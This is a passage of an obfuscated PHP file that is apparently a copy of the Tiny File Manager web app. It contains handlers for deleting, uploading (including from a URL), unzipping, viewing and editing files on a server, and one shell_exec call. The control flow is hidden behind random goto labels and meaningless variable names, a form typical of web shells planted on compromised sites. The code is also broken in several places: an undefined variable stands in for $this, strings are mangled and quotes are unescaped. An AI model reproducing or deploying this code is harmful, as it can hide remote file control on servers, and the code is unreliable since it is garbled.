0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E")}.fm-login-page .brand{width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}.fm-login-page .brand img{width:100%}.fm-login-page .card-wrapper{width:360px;margin-top:10%;margin-left:auto;margin-right:auto}.fm-login-page .card{border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}.fm-login-page .card-title{margin-bottom:1.5rem;font-size:24px;font-weight:400}.fm-login-page .form-control{border-width:2.3px}.fm-login-page .form-group label{width:100%}.fm-login-page .btn.btn-block{padding:12px 10px}.fm-login-page .footer{margin:40px 0;color:#888;text-align:center}@media screen and (max-width:425px){.fm-login-page .card-wrapper{width:90%;margin:0 auto;margin-top:10%}}@media screen and (max-width:320px){.fm-login-page .card.fat{padding:0}.fm-login-page .card.fat .card-body{padding:15px}}.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}.message.ok{border-color:green;color:green}.message.error{border-color:red;color:red}.message.alert{border-color:orange;color:orange}body.fm-login-page.theme-dark{background-color:#2f2a2a}.theme-dark svg g,.theme-dark svg path{fill:#fff}</style></head><body class="fm-login-page<?php  echo FM_THEME == "dark" ? "theme-dark" : ''; ?> 
"><div class="container-fluid"id="wrapper"><?php  } goto Ddw89; T_rNm: if ($qqqqqq !== false) { ?> 
<tr><?php  if (!FM_READONLY) { ?> 
<td class="nosort"></td><?php  } ?> 
<td class="border-0"data-sort><a href="?p=<?php  echo urlencode($qqqqqq); ?> 
"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td><td class="border-0"data-order></td><td class="border-0"data-order></td><td class="border-0"></td><?php  if (!FM_IS_WIN && !$rr) { ?> 
<td class="border-0"></td><td class="border-0"></td><?php  } ?> 
</tr><?php  } goto rtqDJ; eOOwl: ?> 
</div></form><?php  goto El7zR; kylaD: if (!FM_READONLY) { ?> 
<th class="custom-checkbox-header"style="width:3%"><div class="custom-checkbox custom-control"><input id="js-select-all-items"class="custom-control-input"type="checkbox"onclick="checkbox_toggle()"> <label for="js-select-all-items"class="custom-control-label"></label></div></th><?php  } goto b5huQ; UKEMM: $fff = file_get_contents("php://input"); goto HYp6y; IJg2w: function fm_is_exclude_items($ww) { $mmmm = strtolower(pathinfo($ww, PATHINFO_EXTENSION)); if (isset($bb) and sizeof($bb)) { unset($bb); } $bb = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, "7.0.0", "<")) { $bb = unserialize($bb); } if (!in_array($ww, $bb) && !in_array("*.{$mmmm}", $bb)) { return true; } return false; } goto h6pVs; M1feK: defined("FM_SHOW_HIDDEN") || define("FM_SHOW_HIDDEN", $pp); goto B8fFS; KiSWy: if (isset($_GET["del"], $_POST["token"]) && !FM_READONLY) { $tttt = str_replace("/", '', fm_clean_path($_GET["del"])); if ($tttt != '' && $tttt != ".." && $tttt != "." && verifyToken($_POST["token"])) { $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } $uuuu = is_dir($iii . "/" . $tttt); if (fm_rdelete($iii . "/" . $tttt)) { $vv = $uuuu ? lng("Folder") . " <b>%s</b> " . lng("Deleted") : lng("File") . " <b>%s</b> " . lng("Deleted"); fm_set_msg(sprintf($vv, fm_enc($tttt))); } else { $vv = $uuuu ? lng("Folder") . " <b>%s</b> " . lng("not deleted") : lng("File") . " <b>%s</b> " . lng("not deleted"); fm_set_msg(sprintf($vv, fm_enc($tttt)), "error"); } } else { fm_set_msg(lng("Invalid file or folder name"), "error"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto QYvDj; EufSw: function fm_get_text_names() { return array("license", "readme", "authors", "contributors", "changelog"); } goto EweQO; QnkHS: class FM_Config { var $zzzzzzzzzz; function __construct() { global $r, $s, $b; $aaaaaaaaaaa = $s . $_SERVER["PHP_SELF"]; $yyyyyyyyyy->data = array("lang" => "en", "error_reporting" => true, "show_hidden" => true); $zzzzzzzzzz = false; if (strlen($b)) { $zzzzzzzzzz = fm_object_to_array(json_decode($b)); } else { $vv = "Tiny File Manager<br>Error: Cannot load configuration"; if (substr($aaaaaaaaaaa, -1) == "/") { $aaaaaaaaaaa = rtrim($aaaaaaaaaaa, "/"); $vv .= "<br>"; $vv .= "<br>Seems like you have a trailing slash on the URL."; $vv .= "<br>Try this link: <a href="" . $aaaaaaaaaaa . "">" . $aaaaaaaaaaa . "</a>"; } die($vv); } if (is_array($zzzzzzzzzz) && count($zzzzzzzzzz)) { $yyyyyyyyyy->data = $zzzzzzzzzz; } else { $yyyyyyyyyy->save(); } } function save() { $bbbbbbbbbbb = __FILE__; $ccccccccccc = "$CONFIG"; $ddddddddddd = var_export(json_encode($yyyyyyyyyy->data), true); $eeeeeeeeeee = "<?php" . chr(13) . chr(10) . "//Default Configuration" . chr(13) . chr(10) . "{$ccccccccccc} = {$ddddddddddd};" . chr(13) . chr(10); if (is_writable($bbbbbbbbbbb)) { $fffffffffff = file($bbbbbbbbbbb); if ($ggggggggggg = @fopen($bbbbbbbbbbb, "w")) { @fputs($ggggggggggg, $eeeeeeeeeee, strlen($eeeeeeeeeee)); for ($vvvvvv = 3; $vvvvvv < count($fffffffffff); $vvvvvv++) { @fputs($ggggggggggg, $fffffffffff[$vvvvvv], strlen($fffffffffff[$vvvvvv])); } @fclose($ggggggggggg); } } } } goto fw0Wq; r8nFt: function fm_get_zif_info($iii, $mmmm) { if ($mmmm == "zip" && function_exists("zip_open")) { $xxxxxxxxx = @zip_open($iii); if ($xxxxxxxxx) { $nnnnnnn = array(); while ($yyyyyyyyy = @zip_read($xxxxxxxxx)) { $vvvvvvv = @zip_entry_name($yyyyyyyyy); $zzzzzzzzz = substr($vvvvvvv, -1) == "/"; $nnnnnnn[] = array("name" => $vvvvvvv, "filesize" => @zip_entry_filesize($yyyyyyyyy), "compressed_size" => @zip_entry_compressedsize($yyyyyyyyy), "folder" => $zzzzzzzzz); } @zip_close($xxxxxxxxx); return $nnnnnnn; } } elseif ($mmmm == "tar" && class_exists("PharData")) { $aaaaaaaaaa = new PharData($iii); $nnnnnnn = array(); foreach (new RecursiveIteratorIterator($aaaaaaaaaa) as $ww) { $bbbbbbbbbb = $ww->getPathInfo(); $vvvvvvv = str_replace("phar://" . $iii, '', $ww->getPathName()); $vvvvvvv = substr($vvvvvvv, ($cccccccccc = strpos($vvvvvvv, "/")) !== false ? $cccccccccc + 1 : 0); $zzzzzzzzz = $bbbbbbbbbb->getFileName(); $dddddddddd = new SplFileInfo($ww); $nnnnnnn[] = array("name" => $vvvvvvv, "filesize" => $dddddddddd->getSize(), "compressed_size" => $ww->getCompressedSize(), "folder" => $zzzzzzzzz); } return $nnnnnnn; } return false; } goto wqn34; GCK3B: function fm_get_parent_path($iii) { $iii = fm_clean_path($iii); if ($iii != '') { $hhhhhhhhh = explode("/", $iii); if (count($hhhhhhhhh) > 1) { $hhhhhhhhh = array_slice($hhhhhhhhh, 0, -1); return implode("/", $hhhhhhhhh); } return ''; } return false; } goto IJg2w; m0yiT: echo lng("Name"); goto TKcmv; WsUSF: $o = true; goto WJnXN; lJxda: $m = true; goto dHfDq; IGDHL: function fm_get_image_exts() { return array("ico", "gif", "jpg", "jpeg", "jpc", "jp2", "jpx", "xbm", "wbmp", "png", "bmp", "tif", "tiff", "psd", "svg", "webp", "avif"); } goto daeQO; Uq6D2: if (isset($_GET["upload"]) && !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $uuuuuu = explode(",", FM_UPLOAD_EXTENSION); if (FM_UPLOAD_EXTENSION && $uuuuuu) { array_walk($uuuuuu, function (&$vvvvvv) { $vvvvvv = ".{$vvvvvv}"; }); return implode(",", $uuuuuu); } return ''; } print_external("css-dropzone"); ?> 
<div class="path"><div class="mb-2 card fm-upload-wrapper<?php  echo fm_get_theme(); ?> 
"><div class="card-header"><ul class="card-header-tabs nav nav-tabs"><li class="nav-item"><a href="#fileUploader"class="nav-link active"data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i><?php  echo lng("UploadingFiles"); ?> 
</a></li><li class="nav-item"><a href="#urlUploader"class="nav-link"class="js-url-upload"data-target="#urlUploader"><i class="fa fa-link"></i><?php  echo lng("Upload from URL"); ?> 
</a></li></ul></div><div class="card-body"><p class="card-text"><a href="?p=<?php  echo FM_PATH; ?> 
"class="float-right"><i class="fa fa-chevron-circle-left go-back"></i><?php  echo lng("Back"); ?> 
</a><strong><?php  echo lng("DestinationFolder"); ?> 
</strong>:<?php  echo fm_enc(fm_convert_win(FM_PATH)); ?> 
</p><form action="<?php  echo htmlspecialchars(FM_SELF_URL) . "?p=" . fm_enc(FM_PATH); ?> 
"class="card-tabs-container dropzone"id="fileUploader"enctype="multipart/form-data"><input name="p"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?> 
"> <input name="fullpath"type="hidden"value="<?php  echo fm_enc(FM_PATH); ?> 
"id="fullpath"> <input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"><div class="fallback"><input name="file"type="file"multiple></div></form><div class="hidden card-tabs-container upload-url-wrapper"id="urlUploader"><form method="POST"action=""class="row align-items-center g-3 row-cols-lg-auto"onsubmit="return upload_from_url(this)"id="js-form-url-upload"><input name="type"type="hidden"value="upload"aria-hidden="true"aria-label="hidden"> <input name="uploadurl"type="url"required class="form-control"placeholder="URL"style="width:80%"> <input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <button class="btn btn-primary ms-3"type="submit"><?php  echo lng("Upload"); ?> 
</button><div class="lds-facebook"><div></div><div></div><div></div></div></form><div class="mt-3 col-9"id="js-url-upload__list"></div></div></div></div></div><?php  print_external("js-dropzone"); ?> 
<script>Dropzone.options.fileUploader = { 
            chunking: true, 
            chunkSize:<?php  echo UPLOAD_CHUNK_SIZE; ?> 
, 
            forceChunking: true, 
            retryChunks: true, 
            retryChunksLimit: 3, 
            parallelUploads: 1, 
            parallelChunkUploads: false, 
            timeout: 120000, 
            maxFilesize: "<?php  echo MAX_UPLOAD_SIZE; ?> 
", 
            acceptedFiles : "<?php  echo getUploadExt(); ?> 
", 
            init: function () { 
                this.on("sending", function (file, xhr, formData) { 
                    let _path = (file.fullPath) ? file.fullPath : file.name; 
                    document.getElementById("fullpath").value = _path; 
                    xhr.ontimeout = (function() { 
                        toast('Error: Server Timeout'); 
                    }); 
                }).on("success", function (res) { 
                    let _response = JSON.parse(res.xhr.response); 
 
                    if(_response.status == "error") { 
                        toast(_response.info); 
                    } 
                }).on("error", function(file, response) { 
                    toast(response); 
                }); 
            } 
        }</script><?php  fm_show_footer(); die; } goto naMlh; FeUD9: $w = "m/d/Y g:i A"; goto atWEc; wk_xp: defined("FM_HIGHLIGHTJS_STYLE") || define("FM_HIGHLIGHTJS_STYLE", $n); goto DWRaq; VUt9r: function fm_get_mime_type($kkk) { if (function_exists("finfo_open")) { $bbbbbbbbb = finfo_open(FILEINFO_MIME_TYPE); $ccccccccc = finfo_file($bbbbbbbbb, $kkk); finfo_close($bbbbbbbbb); return $ccccccccc; } elseif (function_exists("mime_content_type")) { return mime_content_type($kkk); } elseif (!stristr(ini_get("disable_functions"), "shell_exec")) { $ww = escapeshellarg($kkk); $ccccccccc = shell_exec("file -bi " . $ww); return $ccccccccc; } else { return "--"; } } goto mbX4C; daPQk: class FM_Zipper_Tar { private $jjjjjj; public function __construct() { $yyyyyyyyyy->tar = null; } public function create($vvvvv, $lllll) { $yyyyyyyyyy->tar = new PharData($vvvvv); if (is_array($lllll)) { foreach ($lllll as $mmmmm) { $mmmmm = fm_clean_path($mmmmm); if (!$yyyyyyyyyy->addFileOrDir($mmmmm)) { return false; } } return true; } else { if ($yyyyyyyyyy->addFileOrDir($lllll)) { return true; } return false; } } public function unzip($vvvvv, $iii) { $aaaa = $yyyyyyyyyy->tar->open($vvvvv); if ($aaaa !== true) { return false; } if ($yyyyyyyyyy->tar->extractTo($iii)) { return true; } return false; } private function addFileOrDir($vvvvv) { if (is_file($vvvvv)) { try { $yyyyyyyyyy->tar->addFile($vvvvv); return true; } catch (Exception $uuu) { return false; } } elseif (is_dir($vvvvv)) { return $yyyyyyyyyy->addDir($vvvvv); } return false; } private function addDir($iii) { $rrrrrr = scandir($iii); if (is_array($rrrrrr)) { foreach ($rrrrrr as $ww) { if ($ww != "." && $ww != "..") { if (is_dir($iii . "/" . $ww)) { if (!$yyyyyyyyyy->addDir($iii . "/" . $ww)) { return false; } } elseif (is_file($iii . "/" . $ww)) { try { $yyyyyyyyyy->tar->addFile($iii . "/" . $ww); } catch (Exception $uuu) { return false; } } } } return true; } return false; } } goto QnkHS; pZ0zR: $pp = isset($nn->data["show_hidden"]) ? $nn->data["show_hidden"] : true; goto mTwA9; dHfDq: $n = "vs"; goto WsUSF; C6I4T: define("FM_IS_WIN", DIRECTORY_SEPARATOR == "\"); goto jtXVu; E2R6F: $aa = ''; goto F9Hga; wqn34: function fm_enc($eeeeeeeeee) { return htmlspecialchars($eeeeeeeeee, ENT_QUOTES, "UTF-8"); } goto jkNtT; GxZjv: if (isset($_GET["dl"], $_POST["token"])) { if (!verifyToken($_POST["token"])) { fm_set_msg("Invalid Token.", "error"); } $ooooo = urldecode($_GET["dl"]); $ooooo = fm_clean_path($ooooo); $ooooo = str_replace("/", '', $ooooo); $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } if ($ooooo != '' && is_file($iii . "/" . $ooooo)) { fm_download_file($iii . "/" . $ooooo, $ooooo, 1024); die; } else { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } } goto LGea1; mbX4C: function fm_redirect($ffff, $uu = 302) { header("Location: " . $ffff, true, $uu); die; } goto kd7ko; kjRbk: echo $dddddddd; goto lk_t5; LRolc: ?> 
</th><?php  goto q9SX4; kt2cY: $mm = __DIR__ . "/config.php"; goto Oer20; qrOIv: function fm_mkdir($ggg, $wwwwwwww) { if (file_exists($ggg)) { if (is_dir($ggg)) { return $ggg; } elseif (!$wwwwwwww) { return false; } unlink($ggg); } return mkdir($ggg, 511, true); } goto bkHlr; s07eU: echo $_SESSION["token"]; goto IocCO; z8HOt: if (isset($_POST["unzip"], $_POST["token"]) && !FM_READONLY) { if (!verifyToken($_POST["token"])) { fm_set_msg(lng("Invalid Token."), "error"); } $kkkkkk = urldecode($_POST["unzip"]); $kkkkkk = fm_clean_path($kkkkkk); $kkkkkk = str_replace("/", '', $kkkkkk); $llllll = false; $iii = FM_ROOT_PATH; if (FM_PATH != '') { $iii .= "/" . FM_PATH; } if ($kkkkkk != '' && is_file($iii . "/" . $kkkkkk)) { $mmmmmm = $iii . "/" . $kkkkkk; $mmmm = pathinfo($mmmmmm, PATHINFO_EXTENSION); $llllll = true; } else { fm_set_msg(lng("File not found"), "error"); } if ($mmmm == "zip" && !class_exists("ZipArchive") || $mmmm == "tar" && !class_exists("PharData")) { fm_set_msg(lng("Operations with archives are not available"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } if ($llllll) { $nnnnnn = ''; if (isset($_POST["tofolder"])) { $nnnnnn = pathinfo($mmmmmm, PATHINFO_FILENAME); if (fm_mkdir($iii . "/" . $nnnnnn, true)) { $iii .= "/" . $nnnnnn; } } if ($mmmm == "zip") { $iiiiii = new FM_Zipper(); $aaaa = $iiiiii->unzip($mmmmmm, $iii); } elseif ($mmmm == "tar") { try { $oooooo = new PharData($mmmmmm); if (@$oooooo->extractTo($iii, null, true)) { $aaaa = true; } else { $aaaa = false; } } catch (Exception $uuu) { $aaaa = true; } } if ($aaaa) { fm_set_msg(lng("Archive unpacked")); } else { fm_set_msg(lng("Archive not unpacked"), "error"); } } else { fm_set_msg(lng("File not found"), "error"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } goto Vef7I; v2gQM: ?> 
</th><th><?php  goto L80s9; BgoCG: $s = fm_clean_path($s); goto dxK5N; eCfLO: if (!@is_dir($r)) { echo "<h1>" . lng("Root path") . " "{$r}" " . lng("not found!") . " </h1>"; die; } goto M1feK; TTddz: if (isset($_GET["view"])) { $ww = $_GET["view"]; $ww = fm_clean_path($ww, false); $ww = str_replace("/", '', $ww); if ($ww == '' || !is_file($iii . "/" . $ww) || in_array($ww, $GLOBALS["exclude_items"])) { fm_set_msg(lng("File not found"), "error"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "?p=" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); $bbbbbbb = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? "/" . FM_PATH : '') . "/" . $ww); $kkk = $iii . "/" . $ww; $mmmm = strtolower(pathinfo($kkk, PATHINFO_EXTENSION)); $ccccccc = fm_get_mime_type($kkk); $ddddddd = fm_get_size($kkk); $eeeeeee = fm_get_filesize($ddddddd); $fffffff = false; $ggggggg = false; $hhhhhhh = false; $iiiiiii = false; $jjjjjjj = false; $kkkkkkk = false; $lllllll = false; $mmmmmmm = "File"; $nnnnnnn = false; $ooooooo = ''; $cc = strtolower(FM_DOC_VIEWER); if ($cc && $cc !== "false" && in_array($mmmm, fm_get_onlineViewer_exts())) { $lllllll = true; } elseif ($mmmm == "zip" || $mmmm == "tar") { $fffffff = true; $mmmmmmm = "Archive"; $nnnnnnn = fm_get_zif_info($kkk, $mmmm); } elseif (in_array($mmmm, fm_get_image_exts())) { $hhhhhhh = true; $mmmmmmm = "Image"; } elseif (in_array($mmmm, fm_get_audio_exts())) { $iiiiiii = true; $mmmmmmm = "Audio"; } elseif (in_array($mmmm, fm_get_video_exts())) { $jjjjjjj = true; $mmmmmmm = "Video"; } elseif (in_array($mmmm, fm_get_text_exts()) || substr($ccccccc, 0, 4) == "text" || in_array($ccccccc, fm_get_text_mimes())) { $kkkkkkk = true; $ooooooo = file_get_contents($kkk); } ?> 
<div class="row"><div class="col-12"><p class="break-word"><b><?php  echo lng($mmmmmmm); ?> 
"<?php  echo fm_enc(fm_convert_win($ww)); ?> 
"</b></p><p class="break-word"><strong>Full path:</strong><?php  echo fm_enc(fm_convert_win($kkk)); ?> 
<br><strong>File size:</strong><?php  echo $ddddddd <= 1000 ? "{$ddddddd} bytes" : $eeeeeee; ?> 
<br><strong>MIME-type:</strong><?php  echo $ccccccc; ?> 
<br><?php  if (($fffffff || $ggggggg) && $nnnnnnn !== false) { $ppppppp = 0; $qqqqqqq = 0; $rrrrrrr = 0; foreach ($nnnnnnn as $sssssss) { if (!$sssssss["folder"]) { $ppppppp++; } $qqqqqqq += $sssssss["compressed_size"]; $rrrrrrr += $sssssss["filesize"]; } echo lng("Files in archive"); ?> 
:<?php  echo $ppppppp; ?> 
<br><?php  echo lng("Total size"); ?> 
:<?php  echo fm_get_filesize($rrrrrrr); ?> 
<br><?php  echo lng("Size in archive"); ?> 
:<?php  echo fm_get_filesize($qqqqqqq); ?> 
<br><?php  echo lng("Compression"); ?> 
:<?php  echo round($qqqqqqq / max($rrrrrrr, 1) * 100); ?> 
%<br><?php  } if ($hhhhhhh) { $ttttttt = getimagesize($kkk); echo lng("Image sizes") . ": " . (isset($ttttttt[0]) ? $ttttttt[0] : "0") . " x " . (isset($ttttttt[1]) ? $ttttttt[1] : "0") . "<br>"; } if ($kkkkkkk) { $uuuuuuu = fm_is_utf8($ooooooo); if (function_exists("iconv")) { if (!$uuuuuuu) { $ooooooo = iconv(FM_ICONV_INPUT_ENC, "UTF-8//IGNORE", $ooooooo); } } echo "<strong>" . lng("Charset") . ":</strong> " . ($uuuuuuu ? "utf-8" : "8 bit") . "<br>"; } ?> 
</p><div class="mb-3 align-items-center d-flex"><form method="post"action="?p=<?php  echo urlencode(FM_PATH); ?> 
&dl=<?php  echo urlencode($ww); ?> 
"class="ms-2 d-inline"><input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"><i class="fa fa-cloud-download"></i><?php  echo lng("Download"); ?> 
</button></form><b class="ms-2"><a href="<?php  echo fm_enc($bbbbbbb); ?> 
"target="_blank"><i class="fa fa-external-link-square"></i><?php  echo lng("Open"); ?> 
</a></b><?php  if (!FM_READONLY && ($fffffff || $ggggggg) && $nnnnnnn !== false) { $vvvvvvv = pathinfo($kkk, PATHINFO_FILENAME); ?> 
<form method="post"class="ms-2 d-inline"><input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <input name="unzip"type="hidden"value="<?php  echo urlencode($ww); ?> 
"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"style="font-size:14px"><i class="fa fa-check-circle"></i><?php  echo lng("UnZip"); ?> 
</button></form><form method="post"class="ms-2 d-inline"><input name="token"type="hidden"value="<?php  echo $_SESSION["token"]; ?> 
"> <input name="unzip"type="hidden"value="<?php  echo urlencode($ww); ?> 
"> <input name="tofolder"type="hidden"value="1"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"style="font-size:14px"title="UnZip to<?php  echo fm_enc($vvvvvvv); ?> 
"><i class="fa fa-check-circle"></i><?php  echo lng("UnZipToFolder"); ?> 
</button></form><?php  } if ($kkkkkkk && !FM_READONLY) { ?> 
<b class="ms-2"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?> 
&edit=<?php  echo urlencode($ww); ?> 
"class="edit-file"><i class="fa fa-pencil-square"></i><?php  echo lng("Edit"); ?> 
</a></b><b class="ms-2"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?> 
&edit=<?php  echo urlencode($ww); ?> 
&env=ace"class="edit-file"><i class="fa fa-pencil-square-o"></i><?php  echo lng("AdvancedEditor"); ?> 
</a></b><?php  } ?> 
<b class="ms-2"><a href="?p=<?php  echo urlencode(FM_PATH); ?> 
"><i class="fa fa-chevron-circle-left go-back"></i><?php  echo lng("Back"); ?> 
</a></b></div><?php  if ($lllllll) { if ($cc == "google") { echo "<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=" . fm_enc($bbbbbbb) . "" frameborder="no" style="width:100%;min-height:460px"></iframe>"; } else { if ($cc == "microsoft") { echo "<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=" . fm_enc($bbbbbbb) . "" frameborder="no" style="width:100%;min-height:460px"></iframe>"; } } } elseif ($fffffff) { if ($nnnnnnn !== false) { echo "<code class="maxheight">"; foreach ($nnnnnnn as $sssssss) { if ($sssssss["folder"]) { echo "<b>" . fm_enc($sssssss["name"]) . "</b><br>"; } else { echo $sssssss["name"] . " (" . fm_get_filesize($sssssss["filesize"]) . ")<br>"; } } echo "</code>"; } else { echo "<p>" . lng("Error while fetching archive info") . "</p>"; } } elseif ($hhhhhhh) { if (in_array($mmmm, array("gif", "jpg", "jpeg", "png", "bmp", "ico", "svg", "webp", "avif"))) { echo "<p><img src="" . fm_enc($bbbbbbb) . "" alt="image" class="preview-img-container" class="preview-img"></p>"; } } elseif ($iiiiiii) { echo "<p><audio src="" . fm_enc($bbbbbbb) . "" controls preload="metadata"></audio></p>"; } elseif ($jjjjjjj) { echo "<div class="preview-video"><video src="" . fm_enc($bbbbbbb) . "" width="640" height="360" controls preload="metadata"></video></div>"; } elseif ($kkkkkkk) { if (FM_USE_HIGHLIGHTJS) { $wwwwwww = array("shtml" => "xml", "htaccess" => "apache", "phtml" => "php", "lock" => "json", "svg" => "xml"); $xxxxxxx = isset($wwwwwww[$mmmm]) ? "lang-" . $wwwwwww[$mmmm] : "lang-" . $mmmm; if (empty($mmmm) || in_array(strtolower($ww), fm_get_text_names()) || preg_match("#\.min\.(css|js)$#i", $ww)) { $xxxxxxx = "nohighlight"; } $ooooooo = "<pre class="with-hljs"><code class="" . $xxxxxxx . "">" . fm_enc($ooooooo) . "</code></pre>"; } elseif (in_array($mmmm, array("php", "php4", "php5", "phtml", "phps"))) { $ooooooo = highlight_string($ooooooo, true); } else { $ooooooo = "<pre>" . fm_enc($ooooooo) . "</pre>"; } echo $ooooooo; } ?> 
</div></div><?php  fm_show_footer(); die; } goto z0mOd; advFQ: define("UPLOAD_CHUNK_SIZE", $ff); goto KhWhP; JAR26: $hh = true; goto LuUh0; cNQxl: function fm_show_footer() { ?> 
</div><?php  print_external("js-jquery"); print_external("js-bootstrap"); print_external("js-jquery-datatables"); if (FM_USE_HIGHLIGHTJS && isset($_GET["view"])) { print_external("js-highlightjs"); ?> 
<script>hljs.highlightAll();var isHighlightingEnabled=!0</script><?php  } ?> 
<script>function template(html,options){ 
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} 
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} 
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) 
    } 
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } } 
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } 
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t } 
    function select_all() { change_checkboxes(get_checkboxes(), !0) } 
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) } 
    function invert_all() { change_checkboxes(get_checkboxes()) } 
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } 
    function backup(e, t) { // Create file backup with .bck 
        var n = new XMLHttpRequest, 
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true"; 
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 
            4 == n.readyState && 200 == n.status && toast(n.responseText) 
        }, n.send(a), !1 
    } 
    // Toast message 
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } 
    // Save file 
    function edit_save(e, t) { 
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; 
        if (typeof n !== 'undefined' && n !== null) { 
            if (true) { 
                var data = {ajax: true, content: n, type: 'save', token: window.csrf}; 
 
                $.ajax({ 
                    type: "POST", 
                    url: window.location, 
                    data: JSON.stringify(data), 
                    contentType: "application/json; charset=utf-8", 
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, 
                    failure: function(mes) {toast("Error: try again");}, 
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} 
                }); 
            } else { 
                var a = document.createElement("form"); 
                a.setAttribute("method", "POST"), a.setAttribute("action", ""); 
                var o = document.createElement("textarea"); 
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); 
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf); 
                var c = document.createTextNode(n); 
